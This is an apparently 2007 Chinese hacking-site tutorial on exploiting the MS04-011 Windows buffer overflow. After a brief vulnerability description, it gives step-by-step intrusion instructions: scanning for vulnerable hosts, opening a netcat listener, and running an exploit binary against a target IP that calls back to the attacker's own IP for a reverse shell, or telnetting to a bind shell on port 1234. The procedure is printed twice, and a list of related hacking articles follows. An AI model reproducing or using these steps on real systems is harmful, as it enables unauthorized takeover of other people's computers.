經(jīng)典漏洞ms04011的必殺技
更新時(shí)間：2007年01月16日 00:00:00 作者：
受影響系統(tǒng)：
Microsoft Windows XP
Microsoft Windows NT 4.0
Microsoft Windows 2000
描述：
Microsoft Windows Winlogon存在進(jìn)程一個(gè)緩沖區(qū)溢出，遠(yuǎn)程攻擊者可以利用這個(gè)漏洞可能以進(jìn)程權(quán)限執(zhí)行任意指令。
由于Winlogon在登錄過程中使用的數(shù)據(jù)值大小沒有進(jìn)行任何檢查就插入到分配的緩沖區(qū)中，可導(dǎo)致發(fā)生緩沖區(qū)溢出，精心構(gòu)建提交數(shù)據(jù)可能以進(jìn)程權(quán)限在系統(tǒng)上執(zhí)行任意指令。
1 用ms04011漏洞掃描器掃出有漏洞的主機(jī)掃到有VULNERABLE字樣的說明主機(jī)有漏洞的可能性非常大
2 掃到后用NC來監(jiān)聽 nc -l -p 監(jiān)聽端口 -----按回車 或 nc -vv -l -p 監(jiān)聽端口
3 方式 ms04011.exe 0 要入侵的IP 監(jiān)聽端口 自己IP
其中0 表示2000系統(tǒng) NT5.0 1表示XP系統(tǒng) NT5.1
或者----------------------------------------------
先ms04011.exe 0 要入侵的IP
然后直接 telnet 要入侵的IP 1234。
Microsoft Windows XP
Microsoft Windows NT 4.0
Microsoft Windows 2000
描述：
Microsoft Windows Winlogon存在進(jìn)程一個(gè)緩沖區(qū)溢出，遠(yuǎn)程攻擊者可以利用這個(gè)漏洞可能以進(jìn)程權(quán)限執(zhí)行任意指令。
由于Winlogon在登錄過程中使用的數(shù)據(jù)值大小沒有進(jìn)行任何檢查就插入到分配的緩沖區(qū)中，可導(dǎo)致發(fā)生緩沖區(qū)溢出，精心構(gòu)建提交數(shù)據(jù)可能以進(jìn)程權(quán)限在系統(tǒng)上執(zhí)行任意指令。
1 用ms04011漏洞掃描器掃出有漏洞的主機(jī)掃到有VULNERABLE字樣的說明主機(jī)有漏洞的可能性非常大
2 掃到后用NC來監(jiān)聽 nc -l -p 監(jiān)聽端口 -----按回車 或 nc -vv -l -p 監(jiān)聽端口
3 方式 ms04011.exe 0 要入侵的IP 監(jiān)聽端口 自己IP
其中0 表示2000系統(tǒng) NT5.0 1表示XP系統(tǒng) NT5.1
或者----------------------------------------------
先ms04011.exe 0 要入侵的IP
然后直接 telnet 要入侵的IP 1234。
相關(guān)文章
關(guān)于oblog、動(dòng)易、風(fēng)訊等擁有源碼編輯的程序漏洞淺析
這篇文章主要介紹了關(guān)于oblog、動(dòng)易、風(fēng)訊等擁有源碼編輯的程序漏洞淺析2007-01-01
幾天之內(nèi)做到飛速提升排名...2007-01-01
剖析網(wǎng)站遭遇的黑客的三次入侵...2007-01-01
域名劫持---163.net被黑的分析...2007-01-01
所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行指定的SQL語句,下面這篇文章主要給大家介紹了關(guān)于SQL注入漏洞的相關(guān)資料,需要的朋友可以參考下2022-04-04
UBB的跨站腳本攻擊的漏洞...2007-01-01
利用圖片做木馬應(yīng)用完全解析...2007-01-01
By:瘋狗[B.C.T] 以前一直在傳迅雷還有0day，Activex的應(yīng)該差不多了，但是也不敢怠慢，還是卸載之，今天豐初發(fā)來一URL，原來素一迅雷0day，看說明還是遠(yuǎn)程！感覺裝了一個(gè)，看那個(gè)漏洞監(jiān)聽的端口2008-05-05
JSP中的源代碼泄漏問題...2007-01-01
手機(jī)短信轟炸(圖)...2007-01-01